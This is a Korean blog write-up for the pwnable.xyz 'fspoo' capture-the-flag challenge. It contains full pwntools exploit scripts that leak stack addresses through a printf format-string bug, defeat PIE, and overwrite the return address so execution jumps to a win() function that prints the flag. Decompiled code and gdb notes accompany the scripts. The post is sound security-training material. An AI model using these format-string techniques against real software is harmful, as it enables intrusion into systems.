# exploit1
from pwn import *
p = remote("svc.pwnable.xyz", 30010)
# p = process("./challenge")
e = ELF("./challenge")
def edit_name(name):
p.recvuntil("> ")
p.sendline("1") # getchar()에서 버퍼 비우므로 개행문자까지 넘김
p.sendafter("Name: ", name)
def prep_msg():
p.recvuntil("> ")
p.sendline("2") # getchar()에서 버퍼 비우므로 개행문자까지 넘김
def choose(num):
p.recvuntil("> ")
p.sendline(str(num))
# 7byte(이모지+공백) + 25byte(user input) + 6byte(포맷스트링 공격)
p.sendafter("Name: ", "A"*25+"%10$p\n") # SFP 유출
prep_msg()
vuln_ebp = int(p.recvline()[:-1], 16) - 0x10
edit_name("A"*25+"%11$p\n") # RET 유출
prep_msg()
vuln_ret = int(p.recvline()[:-1], 16)
pie_base = vuln_ret - (e.symbols['main']+79) # ~a77
winAddr = pie_base + e.symbols['win'] # ~9fd
cmdAddr = pie_base + e.symbols['cmd'] # ~040
# cmd에 "%6$n" 포멧스트링 저장하려면
# 일단 v1에 쓰기 가능한 주소가 들어있으면서 option 1 & 2 선택 가능해야함
writableArea = pie_base+0x2000
choose(writableArea|0x1)
p.sendafter("Name: ", "A"*25+"AA%6$n")
choose(writableArea|0x2) # v1이 가리키는 주소에 0x2 채우기
for i in range(38,48): # cmd[38] ~ cmd[47] 까지 모두 0x2로 채움
choose(cmdAddr+i)
p.recvline() # Invalid 출력
win_low = winAddr & 0xffff
choose(writableArea|0x1)
# cmd[38]~cmd[47] 널바이트 사라졌으므로 뒤에 널바이트 추가 - printf 할 문자열 끝 명시
# %6$hn 등장하기전에 AA, \x02 * 10번 등장하므로 -12
pay = "%{}c%6$hn\x00".format(win_low-12)
p.sendafter("Name: ", pay) # v1이 가리키는 주소에 0x2 채우기
choose(writableArea|0x2)
choose("-"+str(0x100000000-(vuln_ebp+0x4)))
p.recvline()
win_high = (winAddr>>16) & 0xffff
choose(writableArea|0x1)
# cmd[38]~cmd[47] 널바이트 사라졌으므로 뒤에 널바이트 추가 - printf 할 문자열 끝 명시
# %6$hn 등장하기전에 AA, \x02 * 10번 등장하므로 -12
pay = "%{}c%6$hn\x00".format(win_high-12)
p.sendafter("Name: ", pay) # v1이 가리키는 주소에 0x2 채우기
choose(writableArea|0x2)
choose("-"+str(0x100000000-(vuln_ebp+0x6)))
p.recvline()
choose(0)
p.interactive()
cf) 마지막 RET overwrite 단계에서 choose(writableArea|0x2) 굳이 필요 없다. cmd 배열 중간의 널바이트를 모두 지웠으므로 입력한 포맷스트링까지 제대로 실행됨
cf) RET overwrite payload에서 "%c%6$hn" 뒤에 널바이트 붙여야하는 이유는 cmd배열 마지막에 AAA(15자)~%6$n 남아있으므로! (win_low-12-15) 값 주면 제대로 익스됨
cf) 초기 payload='%{}c%6$hn'.format(win_low-16) ; payload+='A'*(31-len(payload)) 는 왜 안될까?
win_low = winAddr & 0xffff
choose(writableArea|0x1)
pay = "%{}c%6$hn".format(win_low-16)
pay += 'A'*(31-len(pay))
p.sendafter("Name: ", pay)
choose(writableArea|0x2)
choose("-"+str(0x100000000-(vuln_ebp+0x4)))
p.recvline()
동적분석해보니 printf(%cmd[32])는 A 6자 출력하고 널바이트(cmd[38])를 만나 입력이 끊긴다. 왜냐??
sprintf 함수는 자동적으로 str 맨 마지막에 NULL 문자를 붙이기 때문에 항상 한 칸의 여유가 있어야 한다.
따라서 포맷스트링도 작동을 안해 RET에 overwrite도 안되고 writable Area에도 제대로 된 값이 안들어간다
# exploit 2
from pwn import *
p = remote("svc.pwnable.xyz", 30010)
# p = process("./challenge")
e = ELF("./challenge")
def edit_name(name):
p.recvuntil("> ")
p.sendline("1")
p.sendafter("Name: ", name)
def prep_msg():
p.recvuntil("> ")
p.sendline("2")
def choose(num):
p.recvuntil("> ")
p.sendline(str(num))
p.sendafter("Name: ", "A"*25+"%10$p\n") # SFP 유출
prep_msg()
vuln_ebp = int(p.recvline()[:-1], 16) - 0x10
edit_name("A"*25+"%11$p\n") # RET 유출
prep_msg()
vuln_ret = int(p.recvline()[:-1], 16)
pie_base = vuln_ret - (e.symbols['main']+79)
writableArea = pie_base+0x2000
choose(writableArea|0x1)
p.sendafter("Name: ", "A"*25+"%6$hhn")
choose(writableArea|0x2)
choose("-"+str(0x100000000-(vuln_ebp+0x4)))
p.recvline()
choose(0)
p.interactive()
# exploit 3
exploit1의 연장선인데
+7 ~ +27 명령어를 분석해보면 eax에 다음 EIP 주소를 담고, 0x16fd를 더하고, edx에 eax+0xf0 주소를 담는다
즉, edx에 flag의 주소를 담는다
그리고 이중포인터마냥 두 번 참조를 해서 그 결과가 0이 아니면 system("cat /flag")를 실행한다.
즉 flag에 유효한 주솟값을 담고있는 주소를 쓰면 되겠다
ex1) writableArea 주소가 담겨있는 v1의 주소!
ex2) vuln 함수의 RET Addr 담겨있는 곳의 주소!
그리고 RET을 win이 아니라 _ 함수로 덮어쓰면 되겠다
int __cdecl main(int argc, const char **argv, const char **envp)
{
setup(&argc);
printf("Name: ");
// cmd[48 ~ 78] 입력받음
// 전역변수 char cmd[80]과 전역변수 flag 인접해있네
read(0, (char *)&cmd + 48, 31);
vuln();
return 0;
}
char *setup()
{
char *result; // eax
setvbuf(&IO_2_1_stdout_, 0, 2, 0);
setvbuf(&IO_2_1_stdin_, 0, 2, 0);
signal(14, handler);
alarm(60);
result = cmd;
// 전역변수 cmd+32 에 "Menu:\n"+널바이트 저장됨
strcpy(&cmd[32], "Menu:\n");
return result;
}
unsigned int vuln()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
while ( 1 )
{
while ( 1 )
{
printf((char *)&cmd + 32);
puts("1. Edit name.\n2. Prep msg.\n3. Print msg.\n4. Exit.");
printf("> ");
__isoc99_scanf("%d", &v1);
getchar(); // 버퍼 비우기(엔터)
if ( (unsigned __int8)v1 != 1 )
break;
printf("Name: ");
read(0, (char *)&cmd + 48, 31);
}
if ( (unsigned __int8)v1 <= 1u )
break;
if ( (unsigned __int8)v1 == 2 )
{
// sprintf(출력값 저장할 문자열, 서식문자열, 인자들~)
// &unk_B7B: "똥이모지 %s" 문자열 - 똥이모지 4Byte+공백 3칸 = 7바이트 차지한다
sprintf(cmd, &unk_B7B, (char *)&cmd + 48);
}
else if ( (unsigned __int8)v1 == 3 )
{
puts(cmd);
}
else
{
LABEL_12:
puts("Invalid");
}
}
if ( (_BYTE)v1 ) // v1!=0 이면 Invalid 출력 후 다시 while문으로
goto LABEL_12;
return __readgsdword(0x14u) ^ v2;
}
int win()
{
return system("cat flag");
}
- 32bit 프로그램
- 보호기법: Full RELRO canary found NX enabled PIE enabled
- printf - FSB 취약점 발생, sprintf - bof 발생(7바이트 + cmd[48]에서 최대 31자 입력받음)
- sprintf 결과 cmd[0~37] 채울 수 있네 -> printf(cmd[32])에서 "Menu:\n" 에 해당하는 6자 조작 가능
- fsb를 이용해 vuln()의 RET 주소와 win() 주소 알아서 RET overwrite
[방법 1]
- printf(cmd[32]) 실행되는 시점에서 esp, ebp offset은 0x28
esp는 포맷스트링 문자열 &cmd[32]를 가리키고 있고
포맷스트링 첫번째 인자는 esp+0x4, esp+0x28=ebp는 10번째 인자, RET는 11번째 인자
- vuln()의 RET 유출해서 PIE base 주소 구한다 -> cmd 주소, win 주소 다 구할 수 있다
vuln() RET=<main+79>
- vuln()에 저장된 SFP 유출해서 그 offset으로 vuln()의 EBP도 구할 수 있을듯
<vuln EBP>: 0xffffcfe8, <main EBP>: 0xffffcff8 = <vuln EBP>+0x10 (같은 스택 영역이라 offset 일정)
- cmd[38~47]이 널바이트이므로 포멧스트링 6자밖에 입력못함 -> 다른 값으로 채워 사용 가능한 영역을 늘리자
- 주소 저장용으로 사용 가능한 vuln() 지역변수 v1밖에 없네
- printf(cmd[32]) 실행되는 시점에서 esp+0x28=ebp, v1=[ebp-0x10], esp+0x18=v1 이므로 6번째 인자!
- printf("AA%6$n") 실행시키면 v1이 가리키는 주소에 0x2 저장된다
- 일단 cmd[0~37]에 "AA....AA%6$n" 문자열 저장하려면 v1에 쓰기 가능한 주소가 들어가있어야함
- v1 마지막 바이트가 1이면 cmd[48~] 에 입력받고
- v1 마지막 바이트가 2이면 sprintf 해서 cmd[0~]에 저장되고 (이때 포맷스트링 수정됨)
- printf(포맷스트링)에서 실행되므로
- 첫 턴에서 v1에는 쓰기 가능하며 마지막바이트가 1(혹은 2)인 값이 들어가야 함
0x56555000 0x56556000 r-xp 1000 0 /home/minseo/Desktop/pwnablexyz/fspoo/challenge
0x56556000 0x56557000 r--p 1000 0 /home/minseo/Desktop/pwnablexyz/fspoo/challenge
0x56557000 0x56558000 rw-p 1000 1000 /home/minseo/Desktop/pwnablexyz/fspoo/challenge
// data 영역에 저장하자 (code 영역+0x2000)
- 그 다음 cmd[38~47]에 의미없는 바이트 저장하자
- 새로운 포맷스트링 입력하자 '%{}c%6$hn\x00'.format( win_addr - 12)
- 왜 12냐? cmd[32~37]에 'AA%6$n' 들어있어 문자 2개 출력되고, cmd[38~47]에서 문자 10개 출력되므로
- 포맷스트링의 끝을 알리는 널바이트 추가해줘야함 안 그럼 이상해짐
- win_addr 주소도 한 번에 입력하면 범위 넘어가므로 2byte씩 나눠서 입력
[방법 2]
pwndbg> disas win
Dump of assembler code for function win:
0x000009fd <+0>: push ebp
0x000009fe <+1>: mov ebp,esp
0x00000a00 <+3>: push ebx
~~
pwndbg> disas main
Dump of assembler code for function main:
~~
0x00000a72 <+74>: call 0x8d2 <vuln>
0x00000a77 <+79>: mov eax,0x0
vuln의 RET 주소와 win 함수 프롤로그 이후 지점이 딱 1byte 차이난다
off by one 취약점!
포맷 스트링 6칸만으로도 충분히 exploit 가능하다 (win addr, cmd addr 필요 없음)
(알게 된 tip)
#gdb.attach(p)
#pause()
를 이리저리 옮겨가며 그 순간 스택/변수에 들어간 값 동적분석 가능
RET에 win 주소를 덮어쓸 때 2byte씩 나누는 이유?
win 주소는 0x5~~ 로 정수변환 시 signed int(4byte)에서 표현 가능한 범위를 넘어간다
따라서 %6$hn을 이용해 2Byte씩 덮어쓴다
overflow 발생 안하더라도 시간 제한 이슈로 나누는 경우도 있다
동일한 이유로 v1에 vuln_ebp+0x4, vuln_ebp+0x6 의 주소(0xff~)를 입력할 때에도
음수로 변환하여 입력한다
fsb 시 인덱스 계산 방법
- esp 기준으로 몇 바이트 떨어져있는지 정적 분석하는 것도 방법이고
- 'A'*25+'%p %p' 해서 유출된 값이 스택 프레임 상 어디있는지 동적분석하는 것도 방법이다
#include <stdio.h> // C++ 에서는 <cstdio>
int sprintf(char* str, const char* format, ...);
sprintf 함수는 자동적으로 str 맨 마지막에 NULL 문자를 붙이기 때문에 항상 한 칸의 여유가 있어야 한다.
'security > 포너블 - pwnable.xyz' 카테고리의 다른 글
pwnable.xyz - J-U-M-P (0) | 2023.02.12 |
---|---|
pwnable.xyz - SUS (0) | 2023.02.09 |
pwnable.xyz - l33t-ness (0) | 2023.02.07 |
pwnable.xyz - Jmp table (0) | 2023.02.05 |
pwnable.xyz - TLSv00 (0) | 2023.02.05 |